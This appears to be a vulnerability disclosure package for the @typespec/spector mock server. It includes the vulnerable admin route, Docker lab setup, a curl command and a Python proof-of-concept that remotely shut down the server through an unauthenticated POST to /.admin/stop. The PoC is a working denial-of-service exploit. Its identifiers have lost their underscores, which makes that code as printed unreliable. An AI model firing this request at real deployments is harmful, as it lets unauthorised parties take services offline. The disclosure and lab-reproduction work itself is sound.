// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, ( req, res) => {
 logger.info("Received signal to stop server. Exiting...");
 res.status(202).end();
 setTimeout(() => {
  process.exit(0);
 });
});

git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build

pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default

# Build context: reports/npm web 64 microsoft typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector

curl -i -X POST http://<server-host>:3000/.admin/stop

python3 vuln-002/poc.py --host 127.0.0.1 --port 3001

HTTP/1.1 202 Accepted

info Received signal to stop server. Exiting...

# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)
#
# Build context: reports/npm web 64 microsoft typespec/
# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run:  docker run -d -p 3000:3000 --name vuln002-server vuln002-spector

FROM node:22-slim

# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4

WORKDIR /poc

# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json

# Install only the npm packages actually used by the vulnerable code path:
#  express   — web framework (admin.ts, routes/index.ts, server.ts)
#  picocolors — terminal colors (logger.ts)
RUN npm install express picocolors

# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------

# packages/spector/src/constants.ts
#  Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts

# packages/spector/src/logger.ts
#  Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts

# packages/spector/src/routes/admin.ts ← VULNERABILITY SINK
#  Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts

# packages/spector/src/routes/index.ts
#  Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts

# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts

EXPOSE 3000

# tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]

#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package:  @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE:    CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)

Vulnerability:
 packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
 any authentication, token, Origin, or IP-source check. The handler calls
 process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0
 (packages/spector/src/server/server.ts:88) so any network-reachable client
 can terminate the process with a single unauthenticated POST request.

Usage:
 python3 poc.py [--host HOST] [--port PORT]
"""

import sys
import time
import socket
import argparse
import urllib.request
import urllib.error


BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE   : CWE-306 CVSS 7.5 (High)
================================================================
"""

PASS MSG = """
[EXPLOIT SUCCESSFUL]
 1. Server accepted an unauthenticated POST to /.admin/stop
 2. Server responded HTTP 202 Accepted with no credential check
 3. Server process exited — subsequent connection attempt refused
 4. Zero authentication, tokens, or Origin restrictions enforced
================================================================
"""

FAIL MSG = """
[EXPLOIT FAILED]
Check that the Docker container is running:
 docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
================================================================
"""


def is port open(host: str, port: int, timeout: float = 2.0) -> bool:
  """Return True if TCP port accepts connections."""
  try:
    with socket.create connection((host, port), timeout=timeout):
      return True
  except (ConnectionRefusedError, socket.timeout, OSError):
    return False


def wait for server(host: str, port: int, max wait: float = 30.0) -> bool:
  """Poll until the server is reachable or max wait seconds elapse."""
  print(f"[*] Waiting for server at {host}:{port} (up to {max wait}s) ...")
  deadline = time.monotonic() + max wait
  while time.monotonic() < deadline:
    if is port open(host, port):
      print(f"[+] Server is reachable at {host}:{port}")
      return True
    time.sleep(0.5)
  return False


def send unauthenticated stop(host: str, port: int) -> int:
  """
  Send POST /.admin/stop with no credentials and return the HTTP status code.

  This is the exploit request. No Authorization header, no token, no
  special Origin — the server accepts it as-is.
  """
  url = f"http://{host}:{port}/.admin/stop"
  print(f"[*] Sending unauthenticated POST to {url}")
  print(f"[*] Request headers: (none beyond Host and Content-Length:0)")

  req = urllib.request.Request(url, data=b"", method="POST")
  try:
    with urllib.request.urlopen(req, timeout=5) as resp:
      code = resp.status
      print(f"[+] HTTP response: {code} {resp.reason}")
      return code
  except urllib.error.HTTPError as exc:
    print(f"[+] HTTP error response: {exc.code} {exc.reason}")
    return exc.code
  except urllib.error.URLError as exc:
    # Connection closed before response (process.exit race) still counts
    print(f"[+] Connection dropped during response: {exc.reason}")
    return 202 # server accepted and exited before full response


def main() -> None:
  parser = argparse.ArgumentParser(
    description="PoC: unauthenticated remote shutdown of tsp-spector mock server"
  )
  parser.add argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)")
  parser.add argument("--port", type=int, default=3000, help="Target port (default: 3000)")
  args = parser.parse args()

  print(BANNER)

  # Step 1 — Confirm the server is running before the attack
  if not wait for server(args.host, args.port):
    print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s")
    print(FAIL MSG)
    sys.exit(1)

  print()
  print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it")

  # Step 2 — Send the exploit (single unauthenticated POST)
  print()
  print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)")
  status = send unauthenticated stop(args.host, args.port)

  if status != 202:
    print(f"[-] Expected HTTP 202 Accepted, got {status}")
    print(FAIL MSG)
    sys.exit(1)

  print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check")

  # Step 3 — Verify the process actually exited
  print()
  print("[STEP 3] Verifying server has terminated ...")
  time.sleep(2)

  if is port open(args.host, args.port):
    print("[-] Server is still accepting connections (exploit did not terminate process)")
    print(FAIL MSG)
    sys.exit(1)

  print("[+] Connection refused — server process has exited")

  # All three steps passed → exploit confirmed
  print(PASS MSG)
  sys.exit(0)


if  name  == " main ":
  main()